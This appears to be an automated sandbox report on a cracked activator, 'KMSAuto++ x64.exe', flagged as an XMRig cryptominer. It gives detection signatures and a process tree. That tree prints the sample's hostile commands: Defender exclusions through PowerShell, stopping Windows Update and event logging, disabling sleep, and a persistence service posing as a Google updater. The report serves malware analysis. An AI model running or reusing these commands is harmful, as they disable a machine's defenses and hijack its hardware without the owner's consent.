Analysis
- user interaction
yes - max time kernel
133s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
18/04/2026, 11:52
General
- Target KMSAuto++ x64.exe
- Size 23.5MB
- Sample260418-n18gnagy6r
- SHA256 bf82d3252d4d0e3373cf90e8e98dd8dbeb1fff467ebacacd009fdfc15d9290df
Score
10/10
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detected Nirsoft tools 1 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- XMRig Miner payload 9 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 7 IoCs
- Loads dropped DLL 12 IoCs
- Stops running service(s) 4 TTPs
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Power Settings 1 TTPs 16 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- ConfuserEx .NET packer 1 IoCs
Detects ConfuserEx .NET packer.
- Drops file in System32 directory 5 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- UPX packed file 14 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Launches sc.exe 35 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Modifies data under HKEY_USERS 64 IoCs
- Modifies registry class 5 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious behavior: LoadsDriver 4 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of FindShellTrayWindow 30 IoCs
- Suspicious use of SendNotifyMessage 14 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c95bc8e8-ea6e-4a0a-bb91-cee1e6ca71f1 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-66b800d7-1fb2-4945-9177-9d0cdbd154d7 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-68a93a28-41d3-4256-8877-0bdd9f1c35c1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-60b64947-bddc-446d-a1e3-a1a1fb950445 -LifetimeId:083662d4-d4c6-45f6-ad62-f0b41c7630b9 -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\KMSAuto++ x64.exe"C:\Users\Admin\AppData\Local\Temp\KMSAuto++ x64.exe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\KMSAuto++.exe"C:\Users\Admin\AppData\Local\Temp\KMSAuto++.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"4⤵
- Launches sc.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\KMSAuto++ x64.exe"C:\Users\Admin\AppData\Local\Temp\KMSAuto++ x64.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch3⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x234,0x238,0x23c,0x230,0x2ec,0x7ffbe1fec188,0x7ffbe1fec194,0x7ffbe1fec1a04⤵
- Checks processor information in registry
- Enumerates system info in registry
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1860,i,5323428526229184794,6310333117646057386,262144 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1976,i,9067963519674921703,8704626210819887345,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=2416 /prefetch:34⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2608,i,5251550492872869375,6247994501608007237,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=2672 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3400,i,16556650734377822450,12436251124308930521,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3408,i,1134359474799015328,4289058423898029682,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5260,i,17766963368765379537,5898160149716104678,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5264,i,16307143080015267550,13445534384266065662,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5332 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5668,i,7525482120306469851,3548709132997974657,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,15505688189750888145,1647661062885881876,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6076,i,15505688189750888145,1647661062885881876,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6532,i,17576605713704022377,13492388938904339265,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=6548 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6644,i,503731734855512260,3576001206118910094,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=6648 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3516,i,14308521211313233529,14672250342486352269,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=6840 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6548,i,14921622013839093703,9287180957210247594,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3632,i,5645178933129414904,11748184689929401945,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=7152,i,4838359446208926549,17057711446972584441,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7164 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7836,i,15207694390391095930,17034683175401809214,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7600 /prefetch:84⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=6076,i,152429310178894924,6703955314811900807,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7564 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7464,i,14801348743833620484,11580762049513774058,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7808 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=556,i,11537130826152666513,2038027210216302289,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7108 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7188,i,9284344548679881709,76358673537849016,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7184 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7160,i,9832697922405116997,1966269777164831239,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7160,i,16823964054010584194,11377628632211423961,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7788,i,15427362115958467618,5174137162861085851,262144 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=5260,i,1117478413012024241,14559878563580722070,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7120,i,691632114160221284,13187710487961203927,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=4644,i,16209655883762022001,951051315363403342,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4280,i,3496768618395236879,5960441637834928676,524288 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:84⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=6572,i,13201572490745045174,11566420369699470793,2097152 --field-trial-handle=2376,i,10768095187211691419,6869917377571891375,262144 --variations-seed-version --mojo-platform-channel-handle=7212 /prefetch:14⤵
-
-
